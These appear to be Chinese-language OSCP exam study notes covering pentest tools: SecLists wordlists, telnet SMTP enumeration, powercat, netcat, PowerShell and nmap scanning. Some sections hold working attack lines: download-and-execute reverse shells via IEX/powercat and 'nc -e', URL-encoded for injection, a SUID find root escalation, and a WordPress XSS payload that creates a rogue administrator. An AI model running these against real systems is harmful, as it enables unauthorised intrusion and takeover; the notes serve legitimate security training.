【OSCP】Tools

【Data】SecLists

SecLists(安全列表)是一個包含多種類型的列表的集合,用於安全評估。這些列表包括用戶名、密碼、URL、敏感數據的grep字符串、fuzzing載荷等等。

其目標是使安全測試人員能夠將這個存儲庫拉到新的測試機上,並獲得可能需要的每種類型的列表。這些列表可以用於不同的測試情境,幫助安全專業人員進行渗透测试、漏洞分析和安全評估。它是一個極有價值的工具,可節省安全專業人員的時間和努力,同時提供了有關可能的安全漏洞和攻擊面的重要信息。 SecLists是開源的,可以自由使用,是許多安全專業人員在其測試工作中的寶貴資源。

安裝

/iusr/share/seclists

# 安裝
sudo apt update
sudo apt install -y seclists

cd /usr/share/wordlists
sudo gzip -d rockyou.txt.gz
┌──(kali㉿kali)-[~]
└─$ ls -al /usr/share/seclists
total 56
drwxr-xr-x  11 root root  4096 Nov  4 04:51 .
drwxr-xr-x 349 root root 12288 Nov  4 04:51 ..
drwxr-xr-x   9 root root  4096 Nov  4 04:51 Discovery
drwxr-xr-x   9 root root  4096 Nov  4 04:51 Fuzzing
drwxr-xr-x   2 root root  4096 Nov  4 04:51 IOCs
drwxr-xr-x   8 root root  4096 Nov  4 04:51 Miscellaneous
drwxr-xr-x  12 root root  4096 Nov  4 04:51 Passwords
drwxr-xr-x   3 root root  4096 Nov  4 04:51 Pattern-Matching
drwxr-xr-x   8 root root  4096 Nov  4 04:51 Payloads
-rw-r--r--   1 root root  2117 Aug 15 17:43 README.md
drwxr-xr-x   4 root root  4096 Nov  4 04:51 Usernames
drwxr-xr-x  10 root root  4096 Nov  4 04:51 Web-Shells

密碼檔

 

# 字典檔
┌──(kali㉿kali)-[~]
└─$ tree /usr/share/seclists/Passwords
/usr/share/seclists/Passwords
├── 2020-200_most_used_passwords.txt
├── 500-worst-passwords.txt
├── 500-worst-passwords.txt.bz2
├── BiblePass
│   ├── BiblePass_part01.txt
│   ├── BiblePass_part02.txt
│   ├── BiblePass_part03.txt
│   ├── BiblePass_part04.txt
│   ├── BiblePass_part05.txt
│   ├── BiblePass_part06.txt
│   ├── BiblePass_part07.txt
│   ├── BiblePass_part08.txt
│   ├── BiblePass_part09.txt
│   ├── BiblePass_part10.txt
│   ├── BiblePass_part11.txt
│   ├── BiblePass_part12.txt
│   ├── BiblePass_part13.txt
│   ├── BiblePass_part14.txt
│   ├── BiblePass_part15.txt
│   ├── BiblePass_part16.txt
│   └── BiblePass_part17.txt
├── bt4-password.txt
├── cirt-default-passwords.txt
├── citrix.txt
├── clarkson-university-82.txt
├── common_corporate_passwords.lst
├── Common-Credentials
│   ├── 100k-most-used-passwords-NCSC.txt
│   ├── 10k-most-common.txt
│   ├── 10-million-password-list-top-1000000.txt
│   ├── 10-million-password-list-top-100000.txt
│   ├── 10-million-password-list-top-10000.txt
│   ├── 10-million-password-list-top-1000.txt
│   ├── 10-million-password-list-top-100.txt
│   ├── 10-million-password-list-top-500.txt
│   ├── 1900-2020.txt
│   ├── 500-worst-passwords.txt
│   ├── best1050.txt
│   ├── best110.txt
│   ├── best15.txt
│   ├── common-passwords-win.txt
│   ├── four-digit-pin-codes-sorted-by-frequency-withcount.csv
│   ├── medical-devices.txt
│   ├── SplashData-2014.txt
│   ├── SplashData-2015-1.txt
│   ├── SplashData-2015-2.txt
│   ├── top-20-common-SSH-passwords.txt
│   ├── top-passwords-shortlist.txt
│   └── worst-passwords-2017-top100-slashdata.txt
├── Cracked-Hashes
│   └── milw0rm-dictionary.txt
├── darkc0de.txt
├── darkweb2017-top10000.txt
├── darkweb2017-top1000.txt
├── darkweb2017-top100.txt
├── darkweb2017-top10.txt
├── days.txt
├── Default-Credentials
│   ├── avaya_defaultpasslist.txt
│   ├── cryptominers.txt
│   ├── db2-betterdefaultpasslist.txt
│   ├── default-passwords.csv
│   ├── default-passwords.txt
│   ├── ftp-betterdefaultpasslist.txt
│   ├── mssql-betterdefaultpasslist.txt
│   ├── mysql-betterdefaultpasslist.txt
│   ├── oracle-betterdefaultpasslist.txt
│   ├── Oracle EBS passwordlist.txt
│   ├── Oracle EBS userlist.txt
│   ├── postgres-betterdefaultpasslist.txt
│   ├── scada-pass.csv
│   ├── ssh-betterdefaultpasslist.txt
│   ├── telnet-betterdefaultpasslist.txt
│   ├── telnet-phenoelit.txt
│   ├── tomcat-betterdefaultpasslist_base64encoded.txt
│   ├── tomcat-betterdefaultpasslist.txt
│   ├── vnc-betterdefaultpasslist.txt
│   └── windows-betterdefaultpasslist.txt
├── der-postillon.txt
├── dutch_common_wordlist.txt
├── dutch_passwordlist.txt
├── dutch_wordlist
├── german_misc.txt
├── Honeypot-Captures
│   ├── multiplesources-passwords-fabian-fingerle.de.txt
│   ├── python-heralding-sep2019.txt
│   ├── Sucuri-Top-Wordpress-Passwords.txt
│   └── wordpress-attacks-july2014.txt
├── Keyboard-Combinations.txt
├── Leaked-Databases
│   ├── 000webhost.txt
│   ├── adobe100.txt
│   ├── alleged-gmail-passwords.txt
│   ├── Ashley-Madison.txt
│   ├── bible.txt
│   ├── bible-withcount.txt
│   ├── carders.cc.txt
│   ├── elitehacker.txt
│   ├── elitehacker-withcount.txt
│   ├── faithwriters.txt
│   ├── faithwriters-withcount.txt
│   ├── fortinet-2021.txt
│   ├── hak5.txt
│   ├── hak5-withcount.txt
│   ├── honeynet2.txt
│   ├── honeynet.txt
│   ├── honeynet-withcount.txt
│   ├── hotmail.txt
│   ├── izmy.txt
│   ├── Lizard-Squad.txt
│   ├── md5decryptor-uk.txt
│   ├── muslimMatch.txt
│   ├── muslimMatch-withcount.txt
│   ├── myspace.txt
│   ├── myspace-withcount.txt
│   ├── NordVPN.txt
│   ├── phpbb-cleaned-up.txt
│   ├── phpbb.txt
│   ├── phpbb-withcount.txt
│   ├── porn-unknown.txt
│   ├── porn-unknown-withcount.txt
│   ├── rockyou-05.txt
│   ├── rockyou-10.txt
│   ├── rockyou-15.txt
│   ├── rockyou-20.txt
│   ├── rockyou-25.txt
│   ├── rockyou-30.txt
│   ├── rockyou-35.txt
│   ├── rockyou-40.txt
│   ├── rockyou-45.txt
│   ├── rockyou-50.txt
│   ├── rockyou-55.txt
│   ├── rockyou-60.txt
│   ├── rockyou-65.txt
│   ├── rockyou-70.txt
│   ├── rockyou-75.txt
│   ├── rockyou.txt.tar.gz
│   ├── rockyou-withcount.txt.tar.gz
│   ├── singles.org.txt
│   ├── singles.org-withcount.txt
│   ├── tuscl.txt
│   ├── youporn2012-raw.txt
│   └── youporn2012.txt
├── Malware
│   ├── conficker.txt
│   └── mirai-botnet.txt
├── months.txt
├── Most-Popular-Letter-Passes.txt
├── mssql-passwords-nansh0u-guardicore.txt
├── openwall.net-all.txt
├── Permutations
│   ├── 1337speak.txt
│   ├── korelogic-password.txt
│   └── password-permutations.txt
├── PHP-Magic-Hashes.txt
├── probable-v2-top12000.txt
├── probable-v2-top1575.txt
├── probable-v2-top207.txt
├── README.md
├── richelieu-french-top20000.txt
├── richelieu-french-top5000.txt
├── SCRABBLE-hackerhouse.tgz
├── scraped-JWT-secrets.txt
├── seasons.txt
├── Software
│   ├── cain-and-abel.txt
│   └── john-the-ripper.txt
├── stupid-ones-in-production.txt
├── twitter-banned.txt
├── unkown-azul.txt
├── UserPassCombo-Jay.txt
├── WiFi-WPA
│   ├── probable-v2-wpa-top447.txt
│   ├── probable-v2-wpa-top4800.txt
│   └── probable-v2-wpa-top62.txt
├── xato-net-10-million-passwords-1000000.txt
├── xato-net-10-million-passwords-100000.txt
├── xato-net-10-million-passwords-10000.txt
├── xato-net-10-million-passwords-1000.txt
├── xato-net-10-million-passwords-100.txt
├── xato-net-10-million-passwords-10.txt
├── xato-net-10-million-passwords-dup.txt
└── xato-net-10-million-passwords.txt

#目錄內容
┌──(kali㉿kali)-[/usr/share/wordlists]
└─$ tree
.
├── amass -> /usr/share/amass/wordlists
├── dirb -> /usr/share/dirb/wordlists
├── dirbuster -> /usr/share/dirbuster/wordlists
├── fasttrack.txt -> /usr/share/set/src/fasttrack/wordlist.txt
├── fern-wifi -> /usr/share/fern-wifi-cracker/extras/wordlists
├── john.lst -> /usr/share/john/password.lst
├── legion -> /usr/share/legion/wordlists
├── metasploit -> /usr/share/metasploit-framework/data/wordlists
├── nmap.lst -> /usr/share/nmap/nselib/data/passwords.lst
├── rockyou.txt
├── seclists -> /usr/share/seclists
├── sqlmap.txt -> /usr/share/sqlmap/data/txt/wordlist.txt
├── wfuzz -> /usr/share/wfuzz/wordlist
└── wifite.txt -> /usr/share/dict/wordlist-probable.txt

【Terminal】telnet

Telnet(Telecommunication Network)是一個網路協議和一個命令行工具,用於建立基於文本的遠程連接到遠程伺服器、設備或主機,以便進行遠程管理、測試和診斷。

#telnet {optipn} {ip} {port}
C:\Windows\system32>telnet 192.168.50.8 25
220 mail ESMTP Postfix (Ubuntu)
VRFY goofy
550 5.1.1 <goofy>: Recipient address rejected: User unknown in local recipient table
VRFY root
252 2.0.0 root

開啟telnet功能

PS C:\Windows\system32> dism /online /Enable-Feature /FeatureName:TelnetClient  
...

【Terminal】powercat

就是NetCat 的Powershell 版本

https://github.com/besimorhino/powercat

 下載: https://github.com/besimorhino/powercat/blob/master/powercat.ps1

建立連線

IEX(New-Object System.Net.WebClient).DownloadString('https://github.com/besimorhino/powercat/blob/master/powercat.ps1');powercat -c 192.168.12.101 -p 8888 -e powershell

# 用IEX下載遠端PS1腳本回來繞過權限執行
IEX(New-Object System.Net.WebClient).DownloadString('https://github.com/besimorhino/powercat/blob/master/powercat.ps1');
powercat -c 192.168.12.101 -p 8888 -e powershell

# 單獨執行(需權限)
powercat -c 192.168.12.101 -p 8888 -v
# kali
netcat -l -p 8888 -vv

【Terminal】rlwrap

 

# 安裝
sudo apt install rlwrap
# listener 8888
rlwrap -cAr nc -nvlp8888

`rlwrap` 是一個用於包裹 Readline 函數庫的工具,它允許使用者在一些不支援 Readline 的命令行工具中添加行編輯和歷史記錄功能。Readline 是一個提供命令行編輯和歷史記錄功能的函數庫,用於提高命令行的互動性。

以下是 `rlwrap` 的簡要說明:

rlwrap [OPTIONS] COMMAND

**主要特點:**
1. **行編輯(Line Editing):** `rlwrap` 允許你使用鍵盤上的箭頭鍵來瀏覽和編輯先前輸入的命令行。

2. **歷史記錄(Command History):** 你可以使用上下箭頭鍵訪問和重複之前輸入的命令。

3. **自動補全(Tab Completion):** Readline 提供了命令行自動補全的功能,`rlwrap` 通過包裝這個功能,使得不支援自動補全的命令也可以使用。

4. **支援多種命令:** 你可以將 `rlwrap` 用於各種命令,使得這些命令獲得 Readline 的增強功能。

5. **可自定義配置:** 通過 Readline 的配置文件或 `rlwrap` 的命令行選項,你可以進行多樣化的配置。

**注意事項:**
- 在某些情況下,`rlwrap` 可能不適用於所有命令。有些命令可能已經內建了類似的行編輯和歷史記錄功能。

總的來說,`rlwrap` 是一個方便的工具,它使得那些不支援 Readline 的命令行工具擁有了更好的互動性。

【web】【windows】【PowerShell】 iwr

`iwr` 是 Windows PowerShell 中的一個 cmdlet,用於發送 HTTP、HTTPS 或 FTP 請求,並檢索相應的響應。`iwr` 的全稱是 "Invoke-WebRequest"。這個 cmdlet 提供了一個簡潔的方式,讓使用者能夠與網頁或 Web 服務進行互動,進行數據擷取和其他 HTTP 操作。

以下是 `iwr` 的主要特點和使用示例:

主要特點:

使用範例:

#1. **基本 GET 請求:** 發送一個基本的 GET 請求並檢索 https://www.example.com 的內容。
iwr https://www.example.com

#2. **POST 請求:** 發送一個 POST 請求,提交表單數據到 https://api.example.com。
iwr -Uri https://api.example.com -Method Post -Body "data=123" -ContentType "application/x-www-form-urlencoded"

#3. **帶有標頭的請求:** 添加自定義標頭,這裡演示了如何使用授權標頭。
iwr -Uri https://www.example.com -Headers @{"Authorization"="Bearer YourToken"}

#4. **檔案下載:** 下載文件到指定的本地路徑。
iwr -Uri https://www.example.com/file.zip -OutFile C:\Downloads\file.zip

#5. **檔案上傳:** 將本地文件上傳到遠端服務器。
iwr -Uri https://api.example.com/upload -Method Post -InFile C:\Documents\upload.txt

`iwr` 的靈活性使得它成為在 PowerShell 中進行簡單的網絡請求和操作的便捷工具。在使用時,請注意參數的選項和相應的用法。

【Shell】powershell

啟動powershell

# -ep bypass 繞過執行策略
PS C:\Users\stephanie> powershell -ep bypass

Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Users\stephanie>
# wget
powershell wget -Uri http://192.168.118.4/nc.exe -OutFile C:\Windows\Temp\nc.exe
IEX (New-Object System.Net.Webclient).DownloadString("http://192.168.119.3/powercat.ps1");powercat -c 192.168.119.3 -p 4444 -e powershell

IEX (New-Object System.Net.Webclient).DownloadString("http://192.168.119.3/powercat.ps1");powercat -c 192.168.119.3 -p 4444 -e powershell

# 進行URL編碼
IEX%20(New-Object%20System.Net.Webclient).DownloadString(%22http%3A%2F%2F192.168.45.168%2Fpowercat.ps1%22)%3Bpowercat%20-c%20192.168.45.168%20-p%204444%20-e%20powershell

# 進行URL編碼

IEX%20(New-Object%20System.Net.Webclient).DownloadString(%22http%3A%2F%2F192.168.45.168%2Fpowercat.ps1%22)%3Bpowercat%20-c%20192.168.45.168%20-p%204444%20-e%20powershell


Import-Module 導入模組

C:\Windows\system32> powershell -ep bypass

PS C:\Windows\system32> Import-Module NtObjectManager
Import-Module NtObjectManager

PS C:\Windows\system32> Get-NtTokenIntegrityLevel
Get-NtTokenIntegrityLevel

image-1702571316801.png

【shell】find

# 找尋可寫的資料夾
find / -writable -type d 2>/dev/null
# 尋找當前用戶可寫目錄
oe@debian-privesc:~$ find / -writable -type d 2>/dev/null
..
/home/joe
/home/joe/Videos
/home/joe/Templates
/home/joe/.local
/home/joe/.local/share
# 搜索帶有 SUID 位設置的文件(-type f,-perm -u=s)
# -perm 權限搜索 -u UID 
joe@debian-privesc:~$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/chsh
/usr/bin/fusermount
# find 如果sid 為 root ,可執行shell提權
joe@debian-privesc:~$ find /home/joe/Desktop -exec "/usr/bin/bash" -p \;
bash-5.0# id
uid=1000(joe) gid=1000(joe) euid=0(root) groups=1000(joe),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),112(bluetooth),116(lpadmin),117(scanner)
bash-5.0# whoami
root

【online】【編碼】jscompress.com

https://jscompress.com/

var ajaxRequest = new XMLHttpRequest();
var requestURL = "/wp-admin/user-new.php";
var nonceRegex = /ser" value="([^"]*?)"/g;
ajaxRequest.open("GET", requestURL, false);
ajaxRequest.send();
var nonceMatch = nonceRegex.exec(ajaxRequest.responseText);
var nonce = nonceMatch[1];
var params = "action=createuser&_wpnonce_create-user="+nonce+"&user_login=attacker&email=attacker@offsec.com&pass1=attackerpass&pass2=attackerpass&role=administrator";
ajaxRequest = new XMLHttpRequest();
ajaxRequest.open("POST", requestURL, true);
ajaxRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
ajaxRequest.send(params);

壓縮後

var ajaxRequest=new XMLHttpRequest,requestURL="/wp-admin/user-new.php",nonceRegex=/ser" value="([^"]*?)"/g;ajaxRequest.open("GET",requestURL,!1),ajaxRequest.send();var nonceMatch=nonceRegex.exec(ajaxRequest.responseText),nonce=nonceMatch[1],params="action=createuser&_wpnonce_create-user="+nonce+"&user_login=attacker&email=attacker@offsec.com&pass1=attackerpass&pass2=attackerpass&role=administrator";(ajaxRequest=new XMLHttpRequest).open("POST",requestURL,!0),ajaxRequest.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),ajaxRequest.send(params);

image-1704626732743.png

【online】【編碼】CyberChef

https://gchq.github.io/CyberChef

【PortScan】netcat

基本上,一個主機向目的地埠口的伺服器發送TCP SYN數據包。如果目的地埠口是開放的,伺服器將以SYN-ACK數據包回應,並且客戶端主機將發送ACK數據包以完成握手。如果握手成功完成,該埠口被認為是開放的。

我們可以通過在埠口3388-3390上運行TCP Netcat埠口掃描來演示這一點。我們將使用-w選項指定連接超時(以秒為單位),以及-z選項指定零I/O模式,用於掃描並不發送數據。

# nc {option} {ip} {port}
# -n 不解析dns
# -v 顯示細節
# -vv 顯示細節(比v多)
# -w timeout (秒)
# -u UDP
# -z syc mode
# port: 1-100 or 53,54,55 連續或跳號

kali@kali:~$ nc -nvv -w 1 -z 192.168.50.152 3388-3390
(UNKNOWN) [192.168.50.152] 3390 (?) : Connection refused
(UNKNOWN) [192.168.50.152] 3389 (ms-wbt-server) open
(UNKNOWN) [192.168.50.152] 3388 (?) : Connection refused
 sent 0, rcvd 0
 
kali@kali:~$ nc -nv -u -z -w 1 192.168.50.149 120-123
(UNKNOWN) [192.168.50.149] 123 (ntp) open
# listener {port} 
nc -nvlp 192.168.45.168 4444

# 開啟shell 連線
nc 192.168.45.168 4444 -e /bin/bash
# 進行URL編碼
nc%20192.168.45.168%204444%20-e%20/bin/bash
# 土炮 ip scan
database_admin@pgdatabase01:~$ for i in $(seq 1 254); do nc -zv -w 1 172.16.50.$i 445; done

< (seq 1 254); do nc -zv -w 1 172.16.50.$i 445; done
nc: connect to 172.16.50.1 port 445 (tcp) timed out: Operation now in progress
...
nc: connect to 172.16.50.216 port 445 (tcp) failed: Connection refused
Connection to 172.16.50.217 445 port [tcp/microsoft-ds] succeeded!
nc: connect to 172.16.50.218 port 445 (tcp) timed out: Operation now in progress
...
database_admin@pgdatabase01:~$ 
# 一旦監聽器正在運行,我們將再次使用Web殼在MULTISERVER03上執行`nc.exe`,
# 並使用`-e`參數在連接建立後執行`cmd.exe`。
C:\Windows\Temp\nc.exe -e cmd.exe 192.168.118.4 4446

【PortScan】nmap

常用語法

## nmap 預設會scan ip (主機探測) 與 port (服務探測)

## 列出網段內機器的ip (主機探測)
# -sn (no service scan) 不掃描port
# 	不要掃描任何連接埠——強制它主要依靠 ICMP 回顯封包(或本機網路上的 ARP 請求),
# 	如果使用 sudo 運行或直接以 root 使用者身分執行)來識別目標。除了 ICMP 回顯請求之外,
# 	向目標的連接埠 443 發送 TCP SYN 封包,以及向目標的連接埠 80 發送 TCP ACK 封包。

# -n 不使用dns解析
nmap -sn -n 192.168.202.0/24
# -Pn (no ping)掃描之前不需要用ping命令,有些防火牆禁止ping命令。(使用其他方式偵測,速度快) 
nmap -Pn -sn -n 192.168.202.0/24 
# -oG console ouput , 才能搭配 | 做後續處理
# awk '{prin $2}' 使用awk 取出ip
# > ip.txt 輸出成文字檔 
nmap -sn -n 192.168.202.0/24 -oG - | grep Up |awk '{prin $2}' > ips.txt
# cut -d ‘ ‘ -f2 => 使用 cut 切出 ip
nmap -sn -n 192.168.202.0/24 -oG - | grep Up |cut -d ‘ ‘ -f2 > ips.txt
# -oN {filename} 輸出到檔案
nmap -sn -n 192.168.202.0/24 -oN namp_192.168.202.log


## port 掃描(服務探測)
# namp 預設掃描,常用 1000 port(/usr/share/nmap/nmap-servicese)
# -p 1-65535 所有port掃描
namp 192.168.203.151 -p 1-65535 
# 等於 namp 192.168.203.151 -p -
# 1- : 1以後
# 等於 namp 192.168.203.151 -p 1-
# -65535: 65535 以前
# 等於 namp 192.168.203.151 -p -65535

## 列出ips.txt 主機有開 tcp/25 的主機 
# -p port
# -sS syn 掃描 (或是 -sT tcp 連線掃描)
# -iL 從檔案讀取要掃描的主機 (-sL 列出要掃描的ip,只列出不掃描)
# --open 只列出開啟(up)的結果
sudo nmap -p 25 -sS --open 192.168.202.255 -iL ips.txt -oG -
# result
Host: 192.168.202.23 () Status: Up
Host: 192.168.202.23 () Ports: 25/filtered/tcp//smtp///

# 其他參數
-sV	確定開放連接埠上的服務/版本信息
-sV --version-light	嘗試最有可能的探針 (2)
-sV --version-all	嘗試所有可用的探針 (9)
-O	偵測作業系統
--traceroute	運行traceroute到目標
--script=SCRIPTS	要執行的 Nmap 腳本
-sC或者--script=default	運行預設腳本
-A	相當於-sV -O -sC --traceroute
# 輸出
-oN	以正常格式儲存輸出
-oG	以 grepable 格式儲存輸出
-oX	以 XML 格式儲存輸出
-oA	以普通、XML 和 Grepable 格式儲存輸出

主機(Ping)(-PX)掃描

# host scan
# ARP掃描				  sudo nmap -PR -sn MACHINE_IP/24
# ICMP echo掃描		  sudo nmap -PE -sn MACHINE_IP/24
# ICMP 時間戳掃描		sudo nmap -PP -sn MACHINE_IP/24
# ICMP 位址遮罩掃描	  	sudo nmap -PM -sn MACHINE_IP/24
# TCP SYN Ping 掃描	sudo nmap -PS22,80,443 -sn MACHINE_IP/30
# TCP ACK Ping 掃描	sudo nmap -PA22,80,443 -sn MACHINE_IP/30
# UDP Ping 掃描		sudo nmap -PU53,161,162 -sn MACHINE_IP/30
# -n	沒有DNS查找
# -R	所有主機的反向 DNS 查找
# -sn	僅主機發現(不掃描port)
# -Pn 	停用主機發現(no ping scan)
#		它的代價是可能需要很長時間才能完成掃描(如果主機確實死了,那麼 Nmap 仍然會檢查並仔細檢查每個指定的連接埠)

# port 相關option
-p-	所有連接埠
-p1-1023	掃描埠1至1023
-F	100 個最常用端口
-r	按連續順序掃描端口
-T<0-5>	-T0最慢,T5最快
--max-rate 50	速率 <= 50 資料包/秒
--min-rate 15	速率 >= 15 資料包/秒
--min-parallelism 100	至少 100 個平行探頭
# -sL 只列出要掃描的主機(不掃描)
# -n 不進行dns反解
#nmap -n -sL 10.10.12.13/29

Starting Nmap 7.60 ( https://nmap.org ) at 2024-02-28 10:39 GMT
Nmap scan report for 10.10.12.8
Nmap scan report for 10.10.12.9
Nmap scan report for 10.10.12.10
Nmap scan report for 10.10.12.11
Nmap scan report for 10.10.12.12
Nmap scan report for 10.10.12.13
Nmap scan report for 10.10.12.14
Nmap scan report for 10.10.12.15
Nmap done: 8 IP addresses (0 hosts up) scanned in 0.00 seconds

arp scan

arp-scan wiki https://www.royhills.co.uk/wiki/index.php/Arp-scan_Documentation

image-1709144999650.png

# -PR 使用arp掃描
# -sn 只掃描ip,不掃描port
$ sudo nmap -PR -sn 10.10.210.6/24

Starting Nmap 7.60 ( https://nmap.org ) at 2021-09-02 07:12 BST
Nmap scan report for ip-10-10-210-75.eu-west-1.compute.internal (10.10.210.75)
Host is up (0.00013s latency).
MAC Address: 02:83:75:3A:F2:89 (Unknown)
Nmap scan report for ip-10-10-210-100.eu-west-1.compute.internal (10.10.210.100)
Host is up (-0.100s latency).
MAC Address: 02:63:D0:1B:2D:CD (Unknown)
Nmap scan report for ip-10-10-210-165.eu-west-1.compute.internal (10.10.210.165)
Host is up (0.00025s latency).
MAC Address: 02:59:79:4F:17:B7 (Unknown)
Nmap scan report for ip-10-10-210-6.eu-west-1.compute.internal (10.10.210.6)
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 3.12 seconds

# arp-scan
$ sudo arp-scan 10.10.210.6/24
Interface: eth0, datalink type: EN10MB (Ethernet)
WARNING: host part of 10.10.210.6/24 is non-zero
Starting arp-scan 1.9 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
10.10.210.75	02:83:75:3a:f2:89	(Unknown)
10.10.210.100	02:63:d0:1b:2d:cd	(Unknown)
10.10.210.165	02:59:79:4f:17:b7	(Unknown)

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9: 256 hosts scanned in 2.726 seconds (93.91 hosts/sec). 3 responded

icmp scan (-PE)(echo)

icmp 類型 https://www.iana.org/assignments/icmp-parameters/icmp-parameters.xhtml

image-1709145076833.png

# icmp 類型 https://www.iana.org/assignments/icmp-parameters/icmp-parameters.xhtml 

# -PE 使用icmp 掃描
# ICMP 類型 8 Echo -> ICMP 類型 0  Echo Reply 回應 
# -sn 不進行port掃描
$ sudo nmap -PE -sn 10.10.68.220/24

Starting Nmap 7.60 ( https://nmap.org ) at 2021-09-02 10:16 BST
Nmap scan report for ip-10-10-68-50.eu-west-1.compute.internal (10.10.68.50)
Host is up (0.00017s latency).
MAC Address: 02:95:36:71:5B:87 (Unknown)
...
Nmap done: 256 IP addresses (8 hosts up) scanned in 2.11 seconds

icmp scan (-PP)(timestamp)

image-1709145251010.png

# -PP 使用icmp 時間戳記掃描
# ICMP 類型 13 時間戳記請求 -> ICMP 類型 14 時間戳記請求回應
$ sudo nmap -PP -sn 10.10.68.220/24

Starting Nmap 7.92 ( https://nmap.org ) at 2021-09-02 12:06 EEST
Nmap scan report for 10.10.68.50
Host is up (0.13s latency).
...
Nmap done: 256 IP addresses (8 hosts up) scanned in 10.93 seconds

icmp scan (-PM)(address mask)

image-1709145220475.png

# -PM 使用icmp 遮罩掃描
# 位址遮罩查詢Address Mask Request(ICMP 類型 17)並檢查是否獲得位址遮罩回覆Address Mask Reply(ICMP 類型 18)
$ sudo nmap -PM -sn 10.10.68.220/24

Starting Nmap 7.92 ( https://nmap.org ) at 2021-09-02 12:13 EEST
Nmap done: 256 IP addresses (0 hosts up) scanned in 52.17 seconds

TCP SYN scan (-PS)

# TCP SYN 掃描
# -PS 使用tcp sync scan (預設80 port,可設定特殊port 如-PS22,80,8080)
# -sn 不執行port掃描
$ sudo nmap -PS -sn 10.10.68.220/24
Starting Nmap 7.92 ( https://nmap.org ) at 2021-09-02 13:45 EEST
Nmap scan report for 10.10.68.52
Host is up (0.10s latency)
...
Nmap done: 256 IP addresses (5 hosts up) scanned in 17.38 seconds

image-1709144904730.png

image-1709144956410.png

TCP ACK scan (-PA)

 

image-1709145968572.png

image-1709146109535.png

# TCP ACK scan
# -PA TCP ACK scan
# -sn 不執行port掃描
# 特權使用者(root 和 sudoers)才可以用 ack scan
$ sudo nmap -PA -sn 10.10.68.220/24
Starting Nmap 7.92 ( https://nmap.org ) at 2021-09-02 13:46 EEST
Nmap scan report for 10.10.68.52
Host is up (0.11s latency).
...
Nmap done: 256 IP addresses (5 hosts up) scanned in 29.89 seconds

UDP scan (-PU)

image-1709146285199.png

image-1709146304441.png

# -PU udp scan
# -sn 不執行port掃描
$ sudo nmap -PU -sn 10.10.68.220/24
Starting Nmap 7.92 ( https://nmap.org ) at 2021-09-02 13:45 EEST
Nmap scan report for 10.10.68.52
Host is up (0.10s latency).
...
Nmap done: 256 IP addresses (5 hosts up) scanned in 9.20 seconds

dns 反解

# -n 不使用dns反解(此選項與下面互斥)
$ sudo nmap -n -sn 192.168.100.10/24 

# -R 使用DNS查詢(一般不用加,會使用預設dns)
# --dns-servers {DNS_SERVER} 使用特定dns

服務(Service)(-sX) 掃描

我們可以將連接埠分為兩種狀態:

  1. 開啟連接埠表示有某個服務正在偵聽該連接埠。
  2. 關閉連接埠表示該連接埠沒有服務監聽。

Nmap 六種回應狀態

但在實際情況中,我們需要考慮防火牆的影響。例如,連接埠可能是開放的,但防火牆可能會阻止資料包。因此,Nmap考慮以下六種狀態:

  1. Open:表示有服務正在監聽指定連接埠。
  2. Closed:表示沒有服務正在偵聽指定端口,儘管該端口是可訪問的。可存取是指它是可存取的並且不會被防火牆或其他安全設備/程式阻止。
  3. Filtered :表示Nmap無法確定連接埠是開啟還是關閉,因為該連接埠無法存取。這種狀態通常是由於防火牆阻止 Nmap 到達該連接埠所造成的。Nmap 的封包可能會被阻止到達該連接埠;或者,回應被阻止到達 Nmap 的主機。
  4. Unfiltered :表示儘管連接埠可以訪問,但Nmap無法確定連接埠是開啟還是關閉。使用 ACK 掃描時會遇到此狀態-sA
  5. Open|Filtered :這意味著Nmap無法確定連接埠是開放的還是已過濾的。
  6. Closed|Filtered :這表示Nmap無法決定連接埠是關閉還是過濾。

Nmap支援不同類型的 TCP 連接埠掃描。要了解這些連接埠掃描之間的差異,我們需要查看 TCP 標頭。TCP 標頭是 TCP 段的前 24 個位元組。下圖顯示了RFC 793中定義的 TCP 標頭。這個人物乍看之下很精緻,但實際上卻很複雜。然而,它很容易理解。在第一行中,我們有來源 TCP 連接埠號碼和目標連接埠號碼。我們可以看到連接埠號碼分配了16位元(2個位元組)。在第二行和第三行中,我們有序號和確認號。每行分配 32 位元(4 位元組),總共 6 行,組成 24 位元組。

image-1709216387063.png

TCP 標誌

特別是,我們需要關注Nmap可以設定或取消設定的標誌。我們用紅色突出顯示了 TCP 標誌。設定標誌位意味著將其值設為1。從左到右,TCP頭標誌是:

  1. URG :緊急標誌表示提交的緊急指針是重要的。緊急指針指示傳入資料緊急,並且立即處理設定了 URG 標誌的TCP分段,而無需考慮必須等待先前發送的 TCP 分段。
  2. ACK :確認標誌表示確認號碼很重要。它用於確認TCP段的接收。
  3. PSH :推送標誌,要求TCP立即將資料傳遞給應用程式。
  4. RST :重設標誌用於重設連線。另一個裝置(例如防火牆)可能會發送它來斷開TCP 連線。當資料傳送到主機且接收端沒有服務來應答時,也會使用此標誌。
  5. SYN :同步標誌用於啟動TCP 3相交握並與其他主機同步序號。序號應在 TCP 連線建立期間隨機設定。
  6. FIN:發送方沒有更多資料要傳送。

TCP 連線 掃描 (-sT)

TCP 連線掃描透過完成 TCP 3 次握手來運作。在標準TCP連線建立中,用戶端發送一個設定了SYN標誌的TCP封包,如果連接埠打開,伺服器用SYN/ACK回應;最後,客戶端透過發送ACK完成3次握手。

image-1709219287209.png

我們感興趣的是了解 TCP 連接埠是否打開,而不是建立 TCP 連線。因此,一旦透過發送 RST/ACK 確認其狀態,連線就會被中斷。您可以選擇使用執行 TCP 連線掃描

image-1709219302396.png

請務必注意,如果您不是特權使用者(root 或 sudoer),則 TCP 連線掃描是發現開放 TCP 連接埠的唯一可能選項。

在下面的 Wireshark 封包擷取視窗中,我們看到 Nmap 會向各種連接埠(256、443、143 等)發送帶有 SYN 標誌的 TCP 封包。預設情況下,Nmap 將嘗試連接到 1000 個最常見的連接埠。關閉的 TCP 連接埠會以 RST/ACK 回應 SYN 封包,以表示它尚未開啟。當我們嘗試與所有關閉的連接埠啟動 TCP 3 向握手時,將重複此模式。

image-1709219344868.png

